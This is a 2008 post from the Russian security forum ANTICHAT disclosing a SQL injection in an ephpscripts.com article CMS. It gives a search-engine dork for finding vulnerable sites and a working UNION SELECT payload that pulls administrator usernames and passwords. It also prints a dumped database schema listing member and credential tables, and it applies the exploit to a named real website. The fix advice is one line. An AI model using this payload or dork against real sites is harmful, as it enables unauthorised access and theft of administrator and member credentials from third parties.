ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Оф.сайт: ephpscripts.com

Дата: 09.09.08
Автор: ZAMUT
Дорк: inurl:article.php es_id

Описание:

Уязвимость существует из-за недостаточной фильтрации входящего параметра, передаваемого через $_GET массив,
атакуещему позволяет провести SQL - инъекцию.

Способы устранения уязвимости:

проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
Подробнее:

Анти SQL-injection
Защита от SQL-injection

Ограничения: Нету

Эксплоит:

PHP код:

/article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2 


Структура бд:

Код:

Table [information_schema]
Table [VIEWS]
     TABLE_SCHEMA
     TABLE_NAME
     VIEW_DEFINITION
     CHECK_OPTION
     IS_UPDATABLE
     DEFINER
     SECURITY_TYPE
Table [alpinein_cmsalpine]
Table [es_country]
     id
Table [esnm_admin]
     es_username
     es_password
     es_level
     es_blocked
Table [esnm_announcements]
     es_text
     es_type
     es_temp
     es_postedon
Table [esnm_articles]
     es_title
     es_sum
     es_desc
     es_img
     es_hide
     tempdate
     es_date
     es_postedon
     es_modifiedon
     es_uid
     es_cid
     es_top_banner
     es_left_banner
     es_order_index
Table [esnm_categories]
     es_cat_name
     es_pid
     es_status
     es_cat_description
     es_top_banner
     es_left_banner
     es_order_index
Table [esnm_config]
     es_site_name
     es_site_root
     es_html_header
     es_html_footer
     es_recperpage
     es_image_size
     es_site_keywords
     es_thumb_size
     es_mem_approval
     es_signup_verification
     es_null_char
     es_admin_email
     es_logincheck
     es_welcome_msg
     es_general_notice
Table [esnm_country]
     id
Table [esnm_events]
     es_title
     es_desc
     tempdate
     es_postedon
     es_approved
     es_featured
Table [esnm_feedback]
     es_fname
     es_lname
     es_email
     es_url
     es_title
     es_comments
Table [esnm_form_fields]
     es_type
     es_name
     es_label
     es_int_value
     es_req
     es_display
     es_width
     es_num_lines
     es_is_num
     es_formid
     es_order_index
Table [esnm_forms]
     es_title
     es_submit_mail
Table [esnm_front_cats]
     es_cid
     es_show_desc
     es_rec
     es_order
Table [esnm_mails]
     es_mailid
     es_fromid
     es_title
     es_subject
     es_mail
     es_status
     es_html_format
Table [esnm_members]
     es_username
     es_password
     es_label
     es_firstname
     es_lastname
     es_email
     es_street
     es_city
     es_state
     es_zip
     es_country
     tempdate
     es_ondate
     es_lastlogin
     es_suspended
     es_phone
     es_mobile
     es_paid
     es_general_notice
Table [esnm_pages]
     es_title
     es_contents
     es_top_banner
     es_left_banner
Table [esnm_signups]
     es_rnum
     es_email
     es_onstamp
Table [esnm_subscribers]
     es_name
     es_email
Table [esnm_subscribers1]
     es_name
     es_email
Table [esnm_testimonials]
     es_desc
     es_from
     tempdate
     es_postedon

Пример:

Код:

prescare.org.au/article.php?es_id=-1+union+select+1,concat_ws(0x3a,es_username,es_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+esnm_admin/*&cid=2